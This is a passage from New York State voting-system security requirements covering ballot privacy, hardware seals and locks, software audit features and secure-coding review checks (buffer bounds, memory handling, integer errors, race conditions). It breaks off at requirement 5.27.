A voting system must be provided in which voters may vote comfortably, efficiently, and with confidence that they have cast their votes correctly.

Req #	2.1	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 3 (3.1.7)		
Requirement Description	The voting process shall preclude anyone else from determining the content of a voter's ballot, without the voter's cooperation.		
Documented Dependencies		Additional Notes	
Req #	2.2	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 3 (3.1.7.1.a)		
Requirement Description	The ballot and any input controls shall be visible only to the voter during the voting session and ballot submission.		
Documented Dependencies		Additional Notes	

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Req #	2.3	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 3 (3.1.7.1.b)		
Requirement Description	The audio interface shall be audible only to the voter.		
Documented Dependencies		Additional Notes	
Req #	2.4	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 3 (3.1.7.1.c); HAVA 301(a)(1)(C)		
Requirement Description	The voting system shall notify the voter of an attempted over-vote in a way that preserves the privacy of the voter and the confidentiality of the ballot.		
Documented Dependencies		Additional Notes	
Req #	2.5	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 3 (3.1.7.2.a)		
Requirement Description	No information shall be kept within an electronic cast vote record that identifies any alternative language feature(s) used by a voter.		
Documented Dependencies		Additional Notes	
Req #	2.6	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 3 (3.1.7.2.b)		
Requirement Description	No information shall be kept within an electronic cast vote record that identifies any accessibility feature(s) used by a voter.		
Documented Dependencies		Additional Notes	
<End of New York State Voting Usability and Accessibility Security Requirements>			

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HARDWARE SECURITY REQUIREMENTS

This section contains the requirements for the machines and manufactured devices that are part of a voting system. It specifies minimum values for certain performance characteristics; physical characteristics; and design, construction, and maintenance characteristics for the hardware and selected related components of all voting systems.

Req #	3.1	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 4 (4.1.4.2.d.ii)		
Requirement Description	Ballot boxes and ballot transfer boxes, which serve as secure containers for the storage and transportation of voted ballots, shall incorporate locks or seals, the specifications of which are described in the system documentation.		
Documented Dependencies	System documentation for specifications	Additional Notes	
Req #	3.2	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 4 (4.1.4.2.d.iii)		
Requirement Description	Ballot boxes and ballot transfer boxes, which serve as secure containers for the storage and transportation of voted ballots, shall provide specific points where ballots are inserted, with all other points on the box constructed in a manner that prevents ballot insertion.		
Documented Dependencies		Additional Notes	
Req #	3.3	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 6209 Regulations 6209.2.H *		
Requirement Description	Voting system security seals and device locks are present <i>and effective</i> to guard against access to machine panels, doors, switches, slots, ports, peripheral devices, firmware, and software. *		

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Documented Dependencies		Additional Notes	* <i>“and effective” added for testing specificity</i>
Req #	3.4	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 2006 Election Law 7-202.f		
Requirement Description	The system is provided with a “protective counter” that records the number of times the machine or system has been operated since it was built and a “public counter” that records the number of persons who have voted on the machine at each separate election.		
Documented Dependencies		Additional Notes	
Req #	3.5	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 2006 Election Law 7-202.g		
Requirement Description	The system is provided with a lock or locks, or other device or devices, the use of which, immediately after the polls are closed or the operation of the machine or system for such election is completed, will absolutely secure the voting or registering mechanism and prevent the recording of additional votes.		
Documented Dependencies		Additional Notes	
Req #	3.6	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 2006 Election Law 7-202.i		
Requirement Description	The system is provided with a device for printing or photographing all counters or numbers recorded by the machine or system before the polls open and after the polls close, which shall be a permanent record with a manual audit capacity available for canvassing the votes recorded by the machine or		

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	system.		
Documented Dependencies		Additional Notes	
Req #	3.7	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 2006 Election Law 7-202.j		
Requirement Description	The system retains all paper ballots cast or produced and retains a voter verified permanent paper record that shall be presented to the voter from behind a window or other device before the ballot is cast, in a manner intended and designed to protect the privacy of the voter.		
Documented Dependencies		Additional Notes	
Req #	3.8	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 2006 Election Law 7-202.r		
Requirement Description	The system ensures the integrity and security of the voting machine or system by: <ul style="list-style-type: none"> (i) being capable of conducting both pre-election and post-election testing of the logic and accuracy of the machine or system that demonstrates an accurate tally when a known quantity of votes is entered into each machine; and (ii) providing a means by which a malfunctioning voting machine or system shall secure any votes already cast on such machine or system. 		
Documented Dependencies		Additional Notes	
Req #	3.9	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 6209 Regulations 6209.2.F.14.b		

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Requirement Description	The paper path between the printing, viewing and storage of the paper record shall be protected and sealed from access except by authorized election officials.		
Documented Dependencies		Additional Notes	
Req #	3.10	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 6209 Regulations 6209.2.F.14.c		
Requirement Description	The printer shall not be permitted to communicate with any other system or machine other than the single voting system to which it is connected.		
Documented Dependencies		Additional Notes	
Req #	3.11	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 6209 Regulations 6209.2.F.14.d		
Requirement Description	The printer shall only be able to function as a printer; it cannot store information or contain or provide any services that are not essential to system function, (e.g., provide copier or fax functions) or have network capability.		
Documented Dependencies		Additional Notes	
Req #	3.12	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 6209 Regulations 6209.2.F.14.e		
Requirement Description	Prior to the opening of polls on election day, poll workers shall demonstrate that the ballot storage devices are empty. The storage devices shall then be sealed and no further access shall be provided to polling place workers.		
Documented Dependencies		Additional Notes	

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Req #	3.13	Test Method	<i>Functional: Penetration Test</i>
Mapping	NYS 6209 Regulations 6209.2.F.14.g		
Requirement Description	Tamper-evident seals or physical security measures shall protect the connection between the printer and the voting machine, so that the connection cannot be broken or interfered with, without leaving extensive and obvious evidence.		
Documented Dependencies		Additional Notes	
Req #	3.14	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 2 Section 2 (2.4.1)		
Requirement Description	The vendor shall provide a detailed discussion of the characteristics of the system, indicating how the hardware meets individual requirements defined in Volume I, Section 4, including: Physical characteristics: This discussion addresses suitability for intended use, requirements for transportation and storage, health and safety criteria, security criteria, and vulnerability to adverse environmental factors.		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	3.15	Test Method	<i>Functional: Structural Test</i>
Mapping	NYS 6209 Regulations 6209.2.A.7		
Requirement Description	The system incorporates multiple memories, including resident vote tabulation, storage of results and ballot images in resident memory, serving as a redundant means of verifying or auditing election results and ballot images, and further, the system alerts the election day worker that memory capacity		

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	is about to be reached.		
Documented Dependencies		Additional Notes	
Req #	3.16	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 6209 Regulations 6209.2.F.15.d		
Requirement Description	<p>The voting system's printers shall be highly reliable and easily maintained.</p> <p>There shall be adequate supplies of consumable items such as paper and printer ink on hand to operate from opening to closing of polls. Printing devices should contain paper and ink of sufficient capacity so as not to require reloading or opening equipment covers or enclosures and circumvention of security features, or reloading shall be able to be accomplished with minimal disruption to voting and without circumvention of security features such as seals.</p>		
Documented Dependencies		Additional Notes	
<End of New York State Voting Hardware Security Requirements>			

SOFTWARE SECURITY REQUIREMENTS

This section describes essential design and performance characteristics of the software used in voting systems, addressing both system level software, such as operating systems, and voting system application software, including firmware. The requirements of this section are intended to ensure that voting system software is reliable, robust, testable, and maintainable. The requirements in this section also support system accuracy, logical correctness, privacy, security and integrity.

***Note:** "Protection Against Malicious Software" takes into account Section 6209.2 Polling Place Voting System Requirements "G" of Subtitle V of Title 9 of the Official Compilation Codes, Rules and Regulations of the State of New York, which states "Any submitted voting system's software shall not contain any code, procedures or other material which may disable, disarm or otherwise affect in any manner, the proper operation of the voting system, or

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which may damage the voting system, any hardware, or any computer system or other property of the State Board or county board, including but not limited to 'viruses', 'worms', 'time bombs', and 'drop dead' devices that may cause the voting system to cease functioning properly at a future time." This is to include a review of Application Vulnerability as well as Application Code.

Req #	4.1	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 6209 Regulations 6209.2.F.12		
Requirement Description	The voting system generates and stores a digital signature for each electronic record.		
Documented Dependencies		Additional Notes	
Req #	4.2	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 6209 Regulations 6209.6.F.3.k		
Requirement Description	The system software provides security error logging for audit record generation.		
Documented Dependencies		Additional Notes	
Req #	4.3	Test Method	<i>Functional: Functional Test</i>
Mapping	NIST SP800-53-rev1 SI-7; NYS 6209 Regulations 6209.6.F.3.k		
Requirement Description	The system software provides methods or capabilities for security monitoring and control.		
Documented Dependencies		Additional Notes	
Req #	4.4	Test Method	<i>Functional: Generalized Examine</i>
Mapping	VVSG Volume 2 Section 2 (2.5.6.2)		
Requirement Description	The vendor shall describe the software's capabilities or methods for detecting or handling security monitoring and control.		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	4.5	Test Method	<i>Functional: Comprehensive Examine</i>

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Mapping	VVSG Volume 2 Section 2 (2.5.8)		
Requirement Description	The vendor shall identify and provide a diagram and narrative description of the system's databases, and any external files used for data input or output. The information provided shall include for each database or external file: The number of levels of design and the names of those levels (such as conceptual, internal, logical, and physical)		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	4.6	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 2 Section 2 (2.5.8)		
Requirement Description	The vendor shall identify and provide a diagram and narrative description of the system's databases, and any external files used for data input or output. The information provided shall include for each database or external file: Design conventions and standards (which may be incorporated by reference) needed to understand the design		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	4.7	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 2 Section 2 (2.5.8)		
Requirement Description	The vendor shall identify and provide a diagram and narrative description of the system's databases, and any external files used for data input or output. The information provided shall include for each database or external file:		

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	Identification and description of all database entities and how they are implemented physically (e.g., tables, files)		
Documented Dependencies		Additional Notes	
Req #	4.8	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 2 Section 2 (2.5.8)		
Requirement Description	The vendor shall identify and provide a diagram and narrative description of the system's databases, and any external files used for data input or output. The information provided shall include for each database or external file: Entity relationship diagrams and description of relationships		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	4.9	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 2 Section 2 (2.5.8)		
Requirement Description	The vendor shall identify and provide a diagram and narrative description of the system's databases, and any external files used for data input or output. The information provided shall include for each database or external file: Details of table, record or file contents (as applicable) to include individual data elements and their specifications, including: 1) Names/identifiers 2) Data type (alphanumeric, integer, etc.) 3) Size and format (such as length and punctuation of a character string)		

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	<ul style="list-style-type: none"> 4) Units of measurement (such as meters, dollars, nanoseconds) 5) Range or enumeration of possible values (such as 0-99) 6) Accuracy (how correct) and precision (number of significant digits) 7) Priority, timing, frequency, volume, sequencing, and other constraints, such as whether the data element may be updated and whether business rules apply 8) Security and privacy constraints 9) Sources (setting/sending entities) and recipients (using/receiving entities) 		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	4.10	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 2 Section 2 (2.5.8)		
Requirement Description	<p>The vendor shall identify and provide a diagram and narrative description of the system's databases, and any external files used for data input or output. The information provided shall include for each database or external file:</p> <p>For external files, a description of the procedures for file maintenance, management of access privileges, and security.</p>		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	4.11	Test Method	<i>Functional: Focused Examine</i>
Mapping	VVSG Volume 2 Section 2 (2.5.9.2)		
Requirement Description	For each interface identified in the system overview, the vendor shall provide information that describes:		

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	The type of interface (such as real-time data transfer, storage-and-retrieval of data) to be implemented.		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	4.12	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 2 Section 2 (2.5.9.2)		
Requirement Description	<p>For each interface identified in the system overview, the vendor shall provide information that describes:</p> <p>Characteristics of individual data elements that the interfacing entity(ies) will provide, store, send, access, receive, etc., such as:</p> <p>Names/identifiers</p> <p>Data type (alphanumeric, integer, etc.)</p> <p>Size and format (such as length and punctuation of a character string);</p> <p>Units of measurement (such as meters, dollars, nanoseconds);</p> <p>Range or enumeration of possible values (such as 0-99);</p> <p>Accuracy (how correct) and precision (number of significant digits);</p> <p>Priority, timing, frequency, volume, sequencing, and other constraints, such as whether the data element may be updated and whether business rules apply;</p>		

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	Security and privacy constraints; Sources (setting/sending entities) and recipients (using/receiving entities)		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	4.13	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 2 Section 2 (2.5.9.2)		
Requirement Description	For each interface identified in the system overview, the vendor shall provide information that describes: Characteristics of communication methods that the interfacing entity(ies) will use for the interface.		
Documented Dependencies	Vendor documentation	Additional Notes	<i>Such as:</i> <i>Communication links/bands/frequencies/media and their characteristics;</i> <i>Message formatting;</i> <i>Flow control (such as sequence numbering and buffer allocation);</i> <i>Data transfer rate, whether periodic/aperiodic, and interval between transfers;</i> <i>Routing, addressing, and naming conventions;</i> <i>Transmission services, including priority and grade;</i>

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			<i>Safety/security/privacy considerations, such as encryption, user authentication, compartmentalization, and auditing.</i>
Req #	4.14	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 2 Section 2 (2.5.9.2)		
Requirement Description	For each interface identified in the system overview, the vendor shall provide information that describes: Characteristics of protocols the interfacing entity(ies) will use for the interface, such as: Priority/layer of the protocol Packeting, including fragmentation and reassembly, routing, and addressing Legality checks, error control, and recovery procedures Synchronization, including connection establishment, maintenance, termination Status, identification, and any other reporting features).		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	4.15	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 2 Section 2 (2.5.9.2)		
Requirement Description	For each interface identified in the system overview, the vendor shall provide information that describes: Other characteristics, such as physical compatibility of the interfacing entity(ies) (such as dimensions, tolerances, loads, voltages and plug compatibility).		
Documented Dependencies	Vendor documentation	Additional Notes	

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Req #	4.16	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 2 Section 2 (2.7.1)		
Requirement Description	<p>The vendor shall describe the plans, procedures, and data used during software development and system integration to verify system logic correctness, data quality, and security. This description shall include:</p> <ol style="list-style-type: none"> 1) Test identification and design, including: Test structure; Test sequence or progression ;Test conditions 2) Standard test procedures, including any assumptions or constraints 3) Special purpose test procedures including any assumptions or constraints 4) Test data; including the data source, whether it is real or simulated, and how test data are controlled 5) Expected test results 6) Criteria for evaluating test results 		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	4.17	Test Method	<i>Functional: Generalized Examine</i>
Mapping	VVSG Volume 2 Section 2 (2.7.2)		
Requirement Description	<p>The vendor shall provide specifications for verification and validation of overall software performance. These specifications shall cover:</p> <ol style="list-style-type: none"> 1) Control and data input/output 2) Acceptance criteria 3) Processing accuracy 4) Data quality assessment and maintenance 5) Ballot interpretation logic 6) Exception handling 7) Security 		

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	8) Production of audit trails and statistical data		
Documented Dependencies	Vendor specifications	Additional Notes	
Req #	4.18	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 2 Section 5 (5.3)		
Requirement Description	Prior to initiating the software review, the accredited test lab shall verify that the documentation submitted by the vendor in the TDP is sufficient to enable tests at every level of the software structure to verify that the software meets the vendor's design specifications and the requirements of the performance guidelines.		
Documented Dependencies	Vendor documentation: TDP	Additional Notes	
Req #	4.19	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 6209 Regulations 6209.6.F.3.k		
Requirement Description	The system software provides methods or capabilities for detecting and handling exception conditions.		
Documented Dependencies		Additional Notes	
Req #	4.20	Test Method	<i>Functional :Functional Test</i>
Mapping	NYS 6209 Regulations 6209.6.F.3.k		
Requirement Description	The system software provides methods or capabilities for detecting and handling system failures.		
Documented Dependencies		Additional Notes	
Req #	4.21	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 6209 Regulations 6209.6.F.3.k		

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Requirement Description	The system software provides methods or capabilities for detecting and handling data input/output errors.		
Documented Dependencies		Additional Notes	
<End of New York State Voting Software Security Requirements>			

SECURE CODING SECURITY REQUIREMENTS

“Protection Against Malicious Software” through secure coding techniques takes into account Section 6209.2 Polling Place Voting System Requirements “G” of Subtitle V of Title 9 of the Official Compilation Codes, Rules and Regulations of the State of New York, which states “Any submitted voting system’s software shall not contain any code, procedures or other material which may disable, disarm or otherwise affect in any manner, the proper operation of the voting system, or which may damage the voting system, any hardware, or any computer system or other property of the State Board or county board, including but not limited to ‘viruses’, ‘worms’, ‘time bombs’, and ‘drop dead’ devices that may cause the voting system to cease functioning properly at a future time.” This is to include a review of Application Vulnerability as well as Application Code.

Req #	5.1	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following:</i> <ol style="list-style-type: none"> 1. <i>Check for fixed length character arrays</i> 2. <i>Check for testing of length of the input (I.e., using strlen()) and proper allocation of memory</i> 3. <i>Check for proper usage of extraction operators in conjunction with operator>> overloaded functions</i> 4. <i>Check for limitation to specified number of characters with the extraction operation if the field width inherited member is set to a value greater than 0</i>
Requirement Description	The system code does not contain unbounded string copies nor allow for out-of-bounds writing.		
Documented	Source code	Additional Notes	<i>Unbounded string copies occur when data is</i>

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Dependencies			<i>copied from an unbounded source to a fixed length character array (I.e., when reading from standard input into a fixed length buffer)</i>
Req #	5.2	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following: 1. Locate all instances of strcpy, strncpy in the file 2. Verify that the size of the destination buffer in a strcpy can hold the source string. 3. Verify that the size of the destination buffer in a strncpy will hold at least 1 more than the maximum number of bytes to copy. After the strncpy is performed, make sure that the last byte in the destination buffer is NUL (0)</i>
Requirement Description	All allocated memory is freed when no longer in needed.		
Documented Dependencies	Source code	Additional Notes	<i>Allocating dynamic memory makes an implicit promise that the memory will be returned to the system when it is no longer needed. Failure to do so can result in the application consuming more memory than the system possesses, in which case the application will fail, requiring a reboot in the best case and resulting in lost data in a worst case</i>
Req #	5.3	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following: 1. Check string functions, such as strcpy(), for proper use and allocation 2. Check for proper accounting of the null byte in string transactions 3. Check for proper indexing of values</i>
Requirement Description	The system code does not contain (or guards against) off-by-one errors.		

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			<p><i>in looping functions, such as for()</i></p> <ol style="list-style-type: none"> 4. <i>Check for proper ending conditions of values in looping functions, such as for()</i> 5. <i>Check for proper assignment within string functions, such as strcat()</i>
Documented Dependencies	Source code	Additional Notes	<i>Off-by-one errors are similar to unbounded string copies in that they both involve writing outside the bounds of an array.</i>
Req #	5.4	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following:</i> <ol style="list-style-type: none"> 1. <i>Check for allocation of storage for the null-termination character</i>
Requirement Description	The system code does not contain null-termination errors.		
Documented Dependencies	Source code	Additional Notes	<i>This includes the failure to properly null terminate.</i>
Req #	5.5	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following:</i> <ol style="list-style-type: none"> 1. <i>Check for string truncation handling when reading user input</i> 2. <i>Check for string truncation handling when copying strings</i>
Requirement Description	The system code allots enough space in destination character arrays to hold the contents of a string (I.e., guard from vulnerability by string truncation).		
Documented Dependencies	Source code	Additional Notes	<i>String truncation occurs when a destination character array is not large enough to hold the contents of a string. This often results in a loss of data.</i>
Req #	5.6	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following:</i> <ol style="list-style-type: none"> 1. <i>Check for null-termination issues</i>
Requirement	The system code guards against buffer overflows.		

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Description			<ol style="list-style-type: none"> 2. <i>Check for lack of implicit bounds checking</i> 3. <i>Check for standard string library calls that do not enforce bounds checking</i>
Documented Dependencies	Source code	Additional Notes	<i>Buffer overflows occur when data is written outside of the boundaries of the memory allocated to a particular data structure.</i>
Req #	5.7	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following:</i>
Requirement Description	The system code provides error or exception handling for special cases of exceptions (such as divide-by-zero) as well as unexpected program termination.		<ol style="list-style-type: none"> 1. <i>Check for the use of exception handling that is called first as a method to override a per-function or per-thread exception handler</i> 2. <i>Check for the use of exception handling that is implemented as per-function or per-thread exception handlers</i> 3. <i>Check for the use of global exception filters and handlers for the entire process that is called if no prior exception handler can handle the exception</i>
Documented Dependencies	Source code	Additional Notes	<i>An exception is any event that is outside the normal operations of a procedure.</i>
Req #	5.8	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following:</i>
Requirement Description	The system code chains exception handlers, calling in a defined order until one can handle the exception.		<ol style="list-style-type: none"> 1. <i>Check for chaining of exception handlers</i> 2. <i>Check for use of a global exception filter and handler at the end of the</i>

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			<i>chaining.</i>
Documented Dependencies	Source code	Additional Notes	<i>Exception handlers are chained and called in a specific order until an exception can be handled.</i>
Req #	5.9	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following: 1. Check for correct initialization of memory when memory is allocated</i>
Requirement Description	The system code guards against initialization errors (failure to initialize parameters or blocks of memory).		
Documented Dependencies	Source code	Additional Notes	<i>Initialization errors occur with failure to zero memory, resulting in potentially incorrect results when this assumption is violated.</i>
Req #	5.10	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following: 1. Check for proper handling of all potential return values (for instance, with memory allocation functions)</i>
Requirement Description	The system code does not fail to check return values (I.e., ensuring that memory allocation routines succeeded, etc.).		
Documented Dependencies	Source code	Additional Notes	<i>Return value vulnerabilities occur when an error has occurred but return values are not handled accordingly</i>
Req #	5.11	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following: 1. Check for proper setting of the memory pointer to NULL after memory has been freed</i>
Requirement Description	The system code does not reference freed memory.		
Documented	Source code	Additional Notes	<i>Vulnerabilities related to referencing of freed</i>

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Dependencies			<i>memory allow for possible reading or writing from the location if the memory pointer is not set to NULL.</i>
Req #	5.12	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following: 1. Check for multiple instances of freeing the same memory chunk (such as when memory is freed through error handling, and then freed again outside of the error handling)</i>
Requirement Description	The system code does not free the same memory multiple times.		
Documented Dependencies	Source code	Additional Notes	<i>Vulnerabilities relative to freeing the same memory multiple times demonstrate corruption of the data structures in the memory manager.</i>
Req #	5.13	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following: 1. Check for use of new with delete 2. Check for use of free() with malloc() 3. Check for use of new[] with delete[]</i>
Requirement Description	The system code does not improperly pair memory management functions.		
Documented Dependencies	Source code	Additional Notes	<i>Functions for use in memory allocation and de-allocation should be compatible</i>
Req #	5.14	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following: 1. Check that new is used with delete 2. Check that new[] is used with delete[] 3. Ensure that new is not used with delete[] 4. Ensure that new[] is not used with</i>
Requirement Description	The system code does not fail to distinguish between scalars and arrays (I.e., new and delete for scalars; new[] and delete[] for arrays).		

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			<i>delete</i>
Documented Dependencies	Source code	Additional Notes	<i>Functions for use in allocation and freeing of arrays and scalars should not be intermixed.</i>
Req #	5.15	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following:</i> <ol style="list-style-type: none"> 1. <i>Check for zero-length allocations in border conditions using malloc()</i> 2. <i>Check for alloca() functions that are implemented as in-line functions where null errors are not returned and allocations may exceed the stack bounds</i>
Requirement Description	The system code does not make improper use of allocation functions.		
Documented Dependencies	Source code	Additional Notes	<i>This entails improper use of functions such as malloc() and alloca()</i>
Req #	5.16	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following:</i> <ol style="list-style-type: none"> 1. <i>Ensure that the code does not allow for writing to memory that has already been freed</i>
Requirement Description	The system code does not write to memory that has already been freed.		
Documented Dependencies	Source code	Additional Notes	
Req #	5.17	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following:</i> <ol style="list-style-type: none"> 1. <i>Check integer minimum levels based upon type representation, signedness, and number of allocated bits</i> 2. <i>Check integer maximum levels based upon type representation, signedness,</i>
Requirement Description	The system code applies appropriate integer range checking for the given type.		

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			<i>and number of allocated bits</i>
Documented Dependencies	Source code	Additional Notes	
Req #	5.18	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following: 1. Check for appropriate implementation of integer promotions</i>
Requirement Description	The system code applies integer promotions appropriately.		
Documented Dependencies	Source code	Additional Notes	<i>Types smaller than int may be promoted when operations are performed on them.</i>
Req #	5.19	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following: 1. Ensure that the source code language's rules of conversion are appropriately followed</i>
Requirement Description	The system code makes appropriate use of integer conversions.		
Documented Dependencies	Source code	Additional Notes	<i>Conversion ranks determine how conversions are performed.</i>
Req #	5.20	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following: 1. Check for signed overflows 2. Check for unsigned overflows</i>
Requirement Description	The system code guards against integer overflow.		
Documented Dependencies	Source code	Additional Notes	<i>Integer overflows are those which occur when integers are increased or decreased beyond maximum or minimum value.</i>
Req #	5.21	Test Method	<i>Code Review: Comprehensive Examine</i>

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Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following:</i> 1. Check for signed negative integers that are converted to unsigned as a large positive value
Requirement Description	The system code guards against sign errors (I.e., converting a signed integer to an unsigned integer).		
Documented Dependencies	Source code	Additional Notes	
Req #	5.22	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following:</i> 1. Check for integer types that are converted to smaller int types in which the value of the first is larger than the range of the second
Requirement Description	The system code guards against truncation errors (I.e., converting an integer to a small integer type and the value of the original is outside the range of the smaller.)		
Documented Dependencies	Source code	Additional Notes	
Req #	5.23	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following:</i> 1. Identify all software programs in the system. 2. For each software program, identify its sources of input. Identify each command line argument, configuration file, input from an external device.
Requirement Description	The system code identifies all data input sources (I.e., command line variables, environmental variables, etc.).		
Documented Dependencies	Source code	Additional Notes	<i>Security testing relies on the identification of every stimulus (input) to the system. It is the stimuli that change the system's behavior, potentially in an insecure way.</i>
Req #	5.24	Test Method	<i>Code Review: Comprehensive Examine</i>

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Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following: For each input to the system, make sure that the criteria in the objective are satisfied.</i>
Requirement Description	The system code sanitizes all input data.		
Documented Dependencies	Source code	Additional Notes	<i>“Unsanitized” input data is data that has not yet been verified to conform to the input specifications of the application. Use of unsanitized data is a primary issue in security. Strings that are too long, integers out of range, and missing or extra fields can produce undesirable behavior.</i>
Req #	5.25	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following: 1. Check for the presence of the following three properties that demonstrate the presence of a race condition: a. Two control flows executing concurrently b. Accessibility of a shared race object by the two concurrent flows c. One of the control flows alters the state of the race object.</i>
Requirement Description	The system code guards against race conditions.		
Documented Dependencies	Source code	Additional Notes	<i>Nondeterministic behavior may result from uncontrolled concurrency by way of a race condition.</i>
Req #	5.26	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following: 1. Inspect the source code to determine if the</i>
Requirement Description	The system code guards against temporary-file-open exploits.		

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			<p>application uses temporary files and operates in a multi-tasking environment. If either condition is false, the test is moot.</p> <p>2. If the system does use temporary files and potentially has some other thread of control executing, temporary file opens must be identified and confirmed to be coded (guarded) such that the temporary file exploit can not occur.</p>
Documented Dependencies	Source code	Additional Notes	<p><i>In multi-tasking systems, malicious code can attempt to thwart well-written applications that access temporary files. It does this by swapping out a malicious file for a presumably-valid one in the interval of time between the application's check on the file's validity and its reading of the data (i.e., between the "stat" or other system calls and the actual "open").</i></p>
Req #	5.27	Test Method	Code Review: Comprehensive Examine
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<p>High level test procedures for this requirement may include the following: While performing task 5.24, note all filenames.</p>
Requirement Description	The system code does not trust filenames without adequate verification.		
